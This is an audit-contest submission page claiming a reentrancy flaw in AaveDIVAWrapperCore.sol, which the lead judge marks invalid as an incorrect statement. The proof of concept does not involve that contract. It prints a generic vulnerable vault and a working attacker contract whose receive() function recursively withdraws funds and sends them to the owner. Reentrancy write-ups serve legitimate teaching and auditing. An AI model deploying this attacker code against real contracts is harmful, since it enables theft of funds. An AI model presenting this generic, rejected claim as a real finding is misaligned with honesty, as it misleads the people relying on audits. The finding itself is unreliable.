HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Reentrancy Risk in Token Transfers

Summary

There is a potential reentrancy risk in token transfers, especially when transferring tokens to external contracts such as Aave.

Vulnerability Details

Although the contract AaveDIVAWrapperCore.sol uses the safeTransfer method for token transfers, some functions (like _redeemWTokenPrivate) may still be vulnerable to reentrancy attacks if external contracts or tokens are involved that can call back into the contract. If reentrancy occurs, an attacker could call back into the contract before state changes are finalized, potentially manipulating the contract's behavior.

Impact

Reentrancy attacks could lead to a malicious actor draining tokens from the contract by repeatedly calling back into the vulnerable functions before they are finished, bypassing safeguards and leading to significant loss of funds.

Proof of Concept for Reentrancy Risk in Token Transfers

Overview:

The contract is vulnerable to reentrancy attacks when transferring tokens, allowing an attacker to repeatedly call back into the contract before the previous execution is completed. This could lead to unauthorized withdrawals, draining funds from the protocol.

Actors:

  • Attacker: A malicious contract exploiting the reentrancy vulnerability.

  • Victim: The protocol or a user whose funds are at risk.

  • Protocol: The smart contract managing token transfers.

Working Test Case (PoC)

This PoC demonstrates how an attacker can exploit the reentrancy vulnerability.

  1. Vulnerable Smart Contract

The vulnerable contract allows users to deposit and withdraw funds but does not follow the Checks-Effects-Interactions pattern.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableTokenVault {
mapping(address => uint256) public balances;
function deposit() external payable {
require(msg.value > 0, "Deposit must be greater than 0");
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) external {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// 💀 VULNERABILITY: External call is made before updating the state 💀
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= _amount; // 🔴 Should be updated before the external call
}
function getBalance(address _user) external view returns (uint256) {
return balances[_user];
}
}
  • Issue: The withdraw function first sends Ether before updating the user’s balance.

  • Risk: A malicious contract can re-enter the function before its balance is reduced.

2 Attacker Contract (Exploit)

This contract exploits the vulnerability by recursively calling withdraw() before the balance is updated.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IVulnerableTokenVault {
function deposit() external payable;
function withdraw(uint256 _amount) external;
}
contract ReentrancyAttacker {
IVulnerableTokenVault public target;
address payable public owner;
constructor(address _target) {
target = IVulnerableTokenVault(_target);
owner = payable(msg.sender);
}
// Attack initialization
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 Ether to attack");
target.deposit{value: 1 ether}(); // Deposit funds
target.withdraw(1 ether); // Start the attack
}
// Fallback function triggers reentrancy
receive() external payable {
if (address(target).balance >= 1 ether) {
target.withdraw(1 ether); // Recursive attack
} else {
owner.transfer(address(this).balance); // Steal the funds
}
}
}

3 Step-by-Step Exploit Scenario

Initial State:

  • The attacker deploys the ReentrancyAttacker contract.

  • The attacker deposits 1 ETH into the VulnerableTokenVault.

Exploit Execution:

  1. Attacker calls withdraw(1 ether) from the VulnerableTokenVault.

  2. Vault sends 1 ETH to the attacker contract before updating the balance.

  3. The attacker's fallback function is triggered (via receive() function).

  4. Recursive reentrancy: Before the previous withdrawal is finalized, the attacker calls withdraw(1 ether) again.

  5. Steps 2-4 repeat until the contract is drained.

Outcome:

  • The attacker repeatedly withdraws funds before their balance is updated.

  • The entire contract balance is stolen.

Tools Used

Manual code review

Recommendations

  • Recommended Mitigation

    ✅ Solution: Use Checks-Effects-Interactions Pattern

    Modify withdraw() to update the balance before making the external call:

    function withdraw(uint256 _amount) external {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    // ✅ Update the balance first before the external call
    balances[msg.sender] -= _amount;
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
    }

    ✅ Advanced Checks & Mitigation Plans

    1. Use ReentrancyGuard from OpenZeppelin:

      import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
      contract SecureVault is ReentrancyGuard {
      function withdraw(uint256 _amount) external nonReentrant {
      // Secure implementation
      }
      }
    2. Use transfer() or send() Instead of call():

      • transfer() and send() limit gas to prevent reentrancy attacks.

      • But they are not always recommended due to gas limit issues.

    3. Whitelist Trusted Contracts:

      • If interacting with contracts, verify they are trusted before allowing transactions.

    4. Reentrancy Testing:

      • Use Hardhat’s expectRevert to test for reentrancy vulnerabilities.

      • Implement fuzz testing to explore unusual execution paths.

Updates

Lead Judging Commences

bube Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!